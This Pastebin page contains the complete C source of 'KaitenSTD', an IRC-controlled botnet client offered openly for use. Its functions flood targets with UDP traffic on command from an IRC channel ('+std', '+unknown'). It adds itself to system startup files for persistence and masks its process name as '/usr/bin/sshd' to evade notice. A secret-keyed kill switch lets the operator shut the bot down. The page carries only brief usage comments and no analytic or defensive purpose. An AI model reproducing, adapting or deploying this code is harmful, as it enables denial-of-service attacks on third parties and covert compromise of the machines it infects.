Advertisement
miraip0ts

KaitenSTD

Jan 18th, 2017
721
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 17.99 KB | None | 0 0
  1. # KaitenSTD Flood - /std /say >bot +std $$?="IP" $$?="Port" $$?="Time"
  2. # If anyone still uses This Good Luck Kaiten Bots are Very unstable!
  3. #This works the same way as Qbot But for IRC - Plus Make Sure u compile this with NSA on var/www/html  
  4.  
  5. #define STARTUP //set to define if rooted
  6. #undef IDENT
  7. #define FAKENAME "/usr/bin/sshd"
  8. #define CHAN "#Chan"
  9. #define KEY ""
  10. #define PORT 443
  11. #define PASS ""
  12. #define STD2_STRING "std"
  13. #define STD2_SIZE 50
  14. #define PREFIX "[Win-32]"
  15. int numservers=1;
  16. char *servers[] = {
  17.   "IP",
  18.   (void*)0
  19. };
  20.  
  21. #include <stdarg.h>
  22. #include <errno.h>
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <sys/types.h>
  27. #include <sys/stat.h>
  28. #include <fcntl.h>
  29. #include <strings.h>
  30. #include <netinet/in.h>
  31. #include <unistd.h>
  32. #include <sys/time.h>
  33. #include <sys/socket.h>
  34. #include <signal.h>
  35. #include <arpa/inet.h>
  36. #include <netdb.h>
  37. #include <time.h>
  38. #include <sys/wait.h>
  39. #include <sys/ioctl.h>
  40.  
  41. int sock,changeservers=0;
  42. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
  43. unsigned int *pids;
  44. unsigned long spoofs=0, spoofsm=0, numpids=0;
  45.  
  46. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  47.     switch((unsigned char)*pattern) {
  48.         case '\0': return *string;
  49.         case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  50.         case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  51.         case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  52.         case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  53.         case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  54.         case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  55.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  56.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  57.     }
  58. }
  59. int Send(int sock, char *words, ...) {
  60.         static char textBuffer[1024];
  61.         va_list args;
  62.         va_start(args, words);
  63.         vsprintf(textBuffer, words, args);
  64.         va_end(args);
  65.         return write(sock,textBuffer,strlen(textBuffer));
  66. }
  67. unsigned int host2ip(char *sender,char *hostname) {
  68.         static struct in_addr i;
  69.         struct hostent *h;
  70.         if((i.s_addr = inet_addr(hostname)) == -1) {
  71.                 if((h = gethostbyname(hostname)) == NULL) {
  72.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  73.                         exit(0);
  74.                 }
  75.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  76.         }
  77.         return i.s_addr;
  78. }
  79. int mfork(char *sender) {
  80.     unsigned int parent, *newpids, i;
  81.     if (disabled == 1) {
  82.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  83.         return 1;
  84.     }
  85.     parent=fork();
  86.     if (parent <= 0) return parent;
  87.     numpids++;
  88.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  89.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  90.     newpids[numpids-1]=parent;
  91.     free(pids);
  92.     pids=newpids;
  93.     return parent;
  94. }
  95. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  96. char *makestring() {
  97.     char *tmp;
  98.     int len=(rand()%5)+4,i;
  99.     FILE *file;
  100.     tmp=(char*)malloc(len+1);
  101.     memset(tmp,0,len+1);
  102.     char *pre;
  103.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  104.     else {
  105.         int a=((rand()*rand())%45402)+1;
  106.         char buf[1024];
  107.         for (i=0;i<a;i++) fgets(buf,1024,file);
  108.         memset(buf,0,1024);
  109.         fgets(buf,1024,file);
  110.         filter(buf);
  111.         memcpy(tmp,buf,len);
  112.         fclose(file);
  113.     }
  114.     return tmp;
  115. }
  116. void identd() {
  117.         int sockname,sockfd,sin_size,tmpsock,i;
  118.         struct sockaddr_in my_addr,their_addr;
  119.         char szBuffer[1024];
  120.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  121.         my_addr.sin_family = AF_INET;
  122.         my_addr.sin_port = htons(113);
  123.         my_addr.sin_addr.s_addr = INADDR_ANY;
  124.         memset(&(my_addr.sin_zero), 0, 8);
  125.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  126.         if (listen(sockfd, 1) == -1) return;
  127.         if (fork() == 0) return;
  128.         sin_size = sizeof(struct sockaddr_in);
  129.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  130.         for(;;) {
  131.                 fd_set bla;
  132.                 struct timeval timee;
  133.                 FD_ZERO(&bla);
  134.                 FD_SET(tmpsock,&bla);
  135.                 timee.tv_sec=timee.tv_usec=60;
  136.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  137.                 if (FD_ISSET(tmpsock,&bla)) break;
  138.         }
  139.         i = recv(tmpsock,szBuffer,1024,0);
  140.         if (i <= 0 || i >= 20) exit(0);
  141.         szBuffer[i]=0;
  142.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  143.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  144.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  145.         close(tmpsock);
  146.         close(sockfd);
  147.         exit(0);
  148. }
  149.  
  150. //STD Attack
  151. void std(int sock, char *sender, int argc, char **argv) {
  152.     if (argc < 3) {
  153.    
  154.         Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
  155.         exit(1);
  156.        
  157.     }
  158.     unsigned long secs;
  159.  
  160.     int iSTD_Sock;
  161.  
  162.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  163.  
  164.     time_t start = time(NULL);
  165.     secs = atol(argv[3]);
  166.     if (mfork(sender) != 0) return;
  167.     Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
  168.  
  169.     struct sockaddr_in sin;
  170.  
  171.     struct hostent *hp;
  172.  
  173.     hp = gethostbyname(argv[1]);
  174.  
  175.     bzero((char*) &sin,sizeof(sin));
  176.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  177.     sin.sin_family = hp->h_addrtype;
  178.     sin.sin_port = atol(argv[2]);
  179.  
  180.     unsigned int a = 0;
  181.  
  182.     while(1){
  183.         if (a >= 50)
  184.         {
  185.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  186.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  187.             if (time(NULL) >= start + secs)
  188.             {
  189.                 Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
  190.                 close(iSTD_Sock);
  191.                 exit(0);
  192.             }
  193.             a = 0;
  194.         }
  195.         a++;
  196.     }
  197.    
  198.  
  199. }
  200.  
  201. void stop(int sock, char *sender, int argc, char **argv){
  202.     unsigned long i;
  203.     for (i=0;i<numpids;i++) {
  204.         if (pids[i] != 0 && pids[i] != getpid()) {
  205.             if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
  206.                 kill(pids[i],9);
  207.         }
  208.     }
  209. }
  210.  
  211. void unknown(int sock, char *sender, int argc, char **argv) {
  212.     int flag=1,fd,i;
  213.     unsigned long secs;
  214.     char *buf=(char*)malloc(9216);
  215.     struct hostent *hp;
  216.     struct sockaddr_in in;
  217.    
  218.     time_t start=time(NULL);
  219.    
  220.     if (mfork(sender) != 0) return;
  221.    
  222.     if (argc != 2) {
  223.         Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
  224.         exit(1);
  225.     }
  226.    
  227.     secs=atol(argv[2]);
  228.    
  229.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  230.    
  231.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  232.     in.sin_family = AF_INET;
  233.    
  234.     Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
  235.    
  236.     while(1) {
  237.        
  238.         in.sin_port = rand();
  239.        
  240.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
  241.         } else {
  242.             flag=1;
  243.             ioctl(fd,FIONBIO,&flag);
  244.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  245.             close(fd);
  246.         }
  247.        
  248.         if (i >= 50) {
  249.             if (time(NULL) >= start+secs) break;
  250.                 i=0;
  251.         }
  252.         i++;
  253.     }
  254.     Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
  255.     close(fd);
  256.     exit(0);
  257. }
  258.  
  259. //Kill the bot
  260. void killsec(int sock, char *sender, int argc, char **argv) {
  261.    
  262.     if(strcasecmp(adminuser1,sender) == 0){
  263.    
  264.         kill(0,9);
  265.    
  266.     } else {
  267.    
  268.         Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  269.    
  270.     }
  271. }
  272.  
  273. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  274.     { "+std"                    ,    std     },
  275.     { "+stop"                   ,    stop    },
  276.     { "+unknown"                ,   unknown  },
  277.     { "Kkt9x4JApM0RuSqCLA"      ,   killsec  },
  278.     { (char *)0, (void (*)(int,char *,int,char **))0 } };
  279.    
  280. void _PRIVMSG(int sock, char *sender, char *str) {
  281.         int i;
  282.         char *to, *message;
  283.        
  284.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  285.         str[i]=0;
  286.         to=str;
  287.         message=str+i+2;
  288.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  289.         sender[i]=0;
  290.         if (*message == '>' && !strcasecmp(to,chan)) {
  291.                 char *params[12], name[1024]={0};
  292.                 int num_params=0, m;
  293.                 message++;
  294.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  295.                 message[i]=0;
  296.                 if (strwildmatch(message,nick)) return;
  297.                 message+=i+1;
  298.                 m=strlen(message);
  299.                 for (i=0;i<m;i++) {
  300.                         if (*message == ' ' || *message == 0) break;
  301.                         name[i]=*message;
  302.                         message++;
  303.                 }
  304.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  305.                 num_params++;
  306.                 if (num_params > 10) num_params=10;
  307.                 params[0]=name;
  308.                 params[num_params+1]="\0";
  309.                 m=1;
  310.                 while (*message != 0) {
  311.                         message++;
  312.                         if (m >= num_params) break;
  313.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  314.                         params[m]=(char*)malloc(i+1);
  315.                         strncpy(params[m],message,i);
  316.                         params[m][i]=0;
  317.                         m++;
  318.                         message+=i;
  319.                 }
  320.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  321.                         if (!strcasecmp(flooders[m].cmd,name)) {
  322.                                 flooders[m].func(sock,sender,num_params-1,params);
  323.                                 for (i=1;i<num_params;i++) free(params[i]);
  324.                                 return;
  325.                         }
  326.                 }
  327.         }
  328. }
  329. void _376(int sock, char *sender, char *str) {
  330.         Send(sock,"MODE %s +pixB\n",nick);
  331.         Send(sock,"JOIN %s :%s\n",chan,key);
  332.         Send(sock,"WHO %s\n",nick);
  333. }
  334. void _PING(int sock, char *sender, char *str) {
  335.  
  336. Send(sock,"PONG %s\n",str);
  337.  
  338. }
  339.  
  340. void _352(int sock, char *sender, char *str) {
  341.         int i,d;
  342.         char *msg=str;
  343.         struct hostent *hostm;
  344.         unsigned long m;
  345.         for (i=0,d=0;d<5;d++) {
  346.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  347.                 if (i == strlen(str)) return;
  348.         }
  349.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  350.         msg[i]=0;
  351.         if (!strcasecmp(msg,nick) && !spoofsm) {
  352.                 msg=str;
  353.                 for (i=0,d=0;d<3;d++) {
  354.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  355.                         if (i == strlen(str)) return;
  356.                 }
  357.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  358.                 msg[i]=0;
  359.                 if ((m = inet_addr(msg)) == -1) {
  360.                         if ((hostm=gethostbyname(msg)) == NULL) {
  361.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  362.                                 return;
  363.                         }
  364.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  365.                 }
  366.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  367.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  368.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  369.                 ((char*)&spoofs)[0]=0;
  370.                 spoofsm=256;
  371.         }
  372. }
  373. void _433(int sock, char *sender, char *str) {
  374.         free(nick);
  375.         char tempnick[50];
  376.         char *strpref = PREFIX;
  377.         char *genname = makestring();
  378.         strcpy(tempnick,strpref);
  379.         strcat(tempnick,genname);
  380.         nick=tempnick; 
  381. }
  382.  
  383. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  384.         {   "352",     _352     },
  385.         {   "376",     _376     },
  386.         {   "433",     _433     },
  387.         {   "422",     _376     },
  388.         { "PRIVMSG", _PRIVMSG   },
  389.         {   "PING",    _PING    },
  390.         { (char *)0, (void (*)(int,char *,char *))0 } };
  391. void con() {
  392.         struct sockaddr_in srv;
  393.         unsigned long ipaddr,start;
  394.         int flag;
  395.         struct hostent *hp;
  396. start:
  397.     sock=-1;
  398.     flag=1;
  399.     if (changeservers == 0) server=servers[rand()%numservers];
  400.     changeservers=0;
  401.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  402.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  403.         if ((hp = gethostbyname(server)) == NULL) {
  404.             server=NULL;
  405.             close(sock);
  406.             goto start;
  407.         }
  408.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  409.     }
  410.     else srv.sin_addr.s_addr=inet_addr(server);
  411.         srv.sin_family = AF_INET;
  412.         srv.sin_port = htons(PORT);
  413.     ioctl(sock,FIONBIO,&flag);
  414.     start=time(NULL);
  415.     while(time(NULL)-start < 10) {
  416.         errno=0;
  417.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  418.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  419.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  420.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  421.             return;
  422.         }
  423.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  424.         sleep(1);
  425.     }
  426.     server=NULL;
  427.     close(sock);
  428.     goto start;
  429. }
  430. int main(int argc, char *argv[]) {
  431.         int on,i;
  432.         char cwd[256],*str;
  433.         FILE *file;
  434. #ifdef STARTUP
  435.     str="/etc/rc.d/rc.local";
  436.     file=fopen(str,"r");
  437.     if (file == NULL) {
  438.         str="/etc/rc.conf";
  439.         file=fopen(str,"r");
  440.     }
  441.         if (file != NULL) {
  442.                 char outfile[256], buf[1024];
  443.                 int i=strlen(argv[0]), d=0;
  444.                 getcwd(cwd,256);
  445.                 if (strcmp(cwd,"/")) {
  446.                         while(argv[0][i] != '/') i--;
  447.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  448.                         while(!feof(file)) {
  449.                                 fgets(buf,1024,file);
  450.                                 if (!strcasecmp(buf,outfile)) d++;
  451.                         }
  452.                         if (d == 0) {
  453.                                 FILE *out;
  454.                                 fclose(file);
  455.                                 out=fopen(str,"a");
  456.                                 if (out != NULL) {
  457.                                         fputs(outfile,out);
  458.                                         fclose(out);
  459.                                 }
  460.                         }
  461.                         else fclose(file);
  462.                 }
  463.                 else fclose(file);
  464.         }
  465. #endif
  466.         if (fork()) exit(0);
  467. #ifdef FAKENAME
  468.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  469.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  470. #endif
  471.         srand((time(NULL) ^ getpid()) + getppid());
  472.         char tempnick[50];
  473.         char *strpref = PREFIX;
  474.         char *genname = makestring();
  475.    
  476.         strcpy(tempnick,strpref);
  477.         strcat(tempnick,genname);
  478.        
  479.         nick=tempnick;
  480.         ident="Remote";
  481.         user="Remote IRC Bot";
  482.         chan=CHAN;
  483.         key=KEY;
  484.         pass=PASS;
  485.         server=NULL;
  486. sa:
  487. #ifdef IDENT
  488.         for (i=0;i<numpids;i++) {
  489.                 if (pids[i] != 0 && pids[i] != getpid()) {
  490.                         kill(pids[i],9);
  491.             waitpid(pids[i],NULL,WNOHANG);
  492.                 }
  493.         }
  494.     pids=NULL;
  495.     numpids=0;
  496.     identd();
  497. #endif
  498.  
  499.     con();
  500.         Send(sock,"PASS %s\n", pass);
  501.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  502.         while(1) {
  503.                 unsigned long i;
  504.                 fd_set n;
  505.                 struct timeval tv;
  506.                 FD_ZERO(&n);
  507.                 FD_SET(sock,&n);
  508.                 tv.tv_sec=60*20;
  509.                 tv.tv_usec=0;
  510.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  511.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  512.                         unsigned int *newpids,on;
  513.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  514.             pids[on-1]=0;
  515.                         numpids--;
  516.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  517.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  518.                         free(pids);
  519.                         pids=newpids;
  520.                 }
  521.                 if (FD_ISSET(sock,&n)) {
  522.                         char buf[4096], *str;
  523.                         int i;
  524.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  525.                         buf[i]=0;
  526.                         str=strtok(buf,"\n");
  527.                         while(str && *str) {
  528.                                 char name[1024], sender[1024];
  529.                                 filter(str);
  530.                                 if (*str == ':') {
  531.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  532.                                         str[i]=0;
  533.                                         strcpy(sender,str+1);
  534.                                         strcpy(str,str+i+1);
  535.                                 }
  536.                                 else strcpy(sender,"*");
  537.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  538.                                 str[i]=0;
  539.                                 strcpy(name,str);
  540.                                 strcpy(str,str+i+1);
  541.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  542.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  543.                                 str=strtok((char*)NULL,"\n");
  544.                         }
  545.                 }
  546.         }
  547.         return 0;
  548. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement